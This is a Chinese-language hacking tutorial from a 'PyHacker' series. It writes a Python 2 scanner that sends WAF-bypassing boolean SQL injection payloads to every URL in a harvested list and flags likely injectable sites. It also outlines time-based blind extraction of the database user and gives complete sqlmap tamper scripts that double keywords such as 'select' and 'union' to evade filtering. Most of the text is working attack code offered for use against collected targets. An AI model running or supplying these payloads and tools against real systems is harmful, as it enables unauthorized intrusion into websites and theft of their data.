1. 程式人生 > 其它 >【PyHacker編寫指南】Sql注入指令碼編寫

【PyHacker編寫指南】Sql注入指令碼編寫

這節課是巡安似海PyHacker編寫指南的《Sql注入指令碼編寫》

有些注入點sqlmap跑不出,例如延時注入,實際延時與語句延時時間不符,sqlmap就跑不出,這就需要我們自己根據實際情況編寫指令碼來注入了。文末,涉及了sqlmap tamper編寫,所以需要一定的python基礎才能看懂。

喜歡用Python寫指令碼的小夥伴可以跟著一起寫一寫。

編寫環境:Python2.x



00x1:
需要用到的模組如下:

import requests
import re


00x2:

編寫Sql判斷

首先我們需要一個payload,最好可以bypass,這樣方便測試

?a=/&id=1%20and%201=1%23/
url = 'http://127.0.0.1/index.php?id=1'
r = r'\?(.*)'
id = re.findall(r,url)
id = id[0]
payload = "?a=/*&{}%20and%201=1%23*/".format(id)

Ok,可以正常輸出

再匹配前面的url + payload完美bypass

 整理一下程式碼:

    def url_bypass(url):
        r = r'\?(.*)'
        id = re.findall(r,url)
        id = id[0]
        payload = "?a=/*&{}%20and%201=1%23*/".format(id)
     
        urlr = '(.*)\?%s'%id
        url_ = re.findall(urlr,url)
        url_=url_[0]
        print url_+payload
     
    url = 'http://127.0.0.1/index.php?id=1'
    url_bypass(url)

存放到列表當中,等下我們直接遍歷即可



00x3:
下面來說一下判斷原理

?a=/&id=1%20and%201=1%23/    返回正常
?a=/&id=1%20and%201=2%23/ 返回錯誤

xor 1=1    返回錯誤
xor 1=2    返回正常

 
判斷1 != 2 則存在SQL注入漏洞(如上兩條語句都可以測試)
我們分別利用兩個請求測試,這樣程式碼方便易讀

    def req1(url):
        global html1
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html1 = req.content
     
    def req2(url):
        global html2
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html2 = req.content


00x4:
判斷SQL注入漏洞

def main():
    req1(urls[0])
    req2(urls[1])
    if html1 != html2:
        print "[+] Find SQL"
    else:
        print "NO"

 除錯一下:

 
00x5:
配和前面的教程,我們已經可以採集url,並且深度爬取
採集就不在這裡說了,你可以自己去採集一些url
遍歷url 判斷SQL注入漏洞:

if __name__ == '__main__':
    f = open('url.txt','r')
    for url in f:
        url = url.strip()
        url_bypass(url)  # c處理url
        main() #判斷SQL
        urls = [] #清空列表

自動輸出結果我就不寫了
前面也講了,大家可以根據自己需求修改


00x6:
完整程式碼:

    #!/usr/bin/python
    #-*- coding:utf-8 -*-
    import requests
    import re
    import urllib3
    urllib3.disable_warnings()
     
    urls = []
    def url_bypass(url):
        r = r'\?(.*)'
        id = re.findall(r,url)
        id = id[0]
        payload = "?a=/*&{}%20and%201=1%23*/".format(id)
     
        r2 = r'\?(.*)'
        id2 = re.findall(r2,url)
        id2 = id2[0]
        payload2 = "?a=/*&{}%20and%201=2%23*/".format(id2)
     
        urlr = '(.*)\?%s'%id
        url_ = re.findall(urlr,url)
        url_=url_[0]
        url_bypass =  url_+payload
        url_bypass2 = url_ + payload2
        urls.append(url_bypass)
        urls.append(url_bypass2)
     
    def req1(url):
        global html1
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html1 = req.content
     
    def req2(url):
        global html2
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html2 = req.content
     
    def main():
        try:
            req1(urls[0])
            req2(urls[1])
            if html1 != html2:
                print "[+] Find SQL",urls[1]
            else:
                pass
        except:
            pass
     
    if __name__ == '__main__':
        f = open('url.txt','r')
        for url in f:
            url = url.strip()
            url_bypass(url)  # c處理url
            main() #判斷SQL
            urls = [] #清空列表

 這裡僅以SQL判斷思路進行編寫,猜測資料庫等操作也相同

拋磚引玉,只需要更換sql語句,利用for迴圈即可

大致思路:(延時注入獲取資料庫)

payloads='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'

遍歷payloads
判斷延遲時間,利用time比較,如果時間大於xxx,則字元存在

for x in payloads:
  url+and if(length(user)=%s,3,0)%x


Pyhacker 之 SQLMAP tamper編寫


tamper是對其進行擴充套件的一系列指令碼,主要功能是對本來的payload進行特定的更改以繞過waf。

一個簡單的tamper:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
    pass
def tamper(payload, **kwargs):
    return payload.replace("'", "\\'").replace('"', '\\"')

我們只需要修改這兩部分:

Priority:定義指令碼的優先順序(預設lowest即可)

tamper:是主要的函式,接受的引數為payload和kwargs

返回值為替換後的payload。比如這個例子中就把引號替換為了\

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

 修改X-originating-IP 繞過Waf

所以我們只需要仿造進行修改,即可寫出我們的tamper

我們來測試一下

 

 
我們修改原始碼,關鍵詞 替換為空

 
OK,沒毛病

替換為空了,我們可以利用兩個seleselectct 繞過



測試一下:

Sqlmap.py -u "http://127.0.0.1/news.php?id=1" --purge

已經注入不出來結果了,我們來寫一個tamper

 利用replace函式進行替換字元


完整tamper:

    #!/usr/bin/python
    #-*- coding:utf-8 -*-
     
    #預設開頭
    from lib.core.enums import PRIORITY
    __priority__ = PRIORITY.LOW     #等級(LOWEST 最低階)
     
    #可有可無
    def dependencies():
        pass
     
    def tamper(payload, **kwargs):
        playload = payload.replace('and','anandd')
        playload = playload.replace('xor', 'xoxorr')
        playload = playload.replace('select', 'selselectect')
        playload = playload.replace('union', 'uniunionon')
        playload = playload.replace('if', 'iiff')
        return playload

放到tamper目錄下

Sqlmap.py -u "http://127.0.0.1/news.php?id=1" --purge --tamper "andand.py"

OK,已經注入出來了
方法大同小異,瞭解waf特徵,fuzz bypass



微信公眾號關注:巡安似海,每天更新技術文章,網路安全,免殺攻防等文章。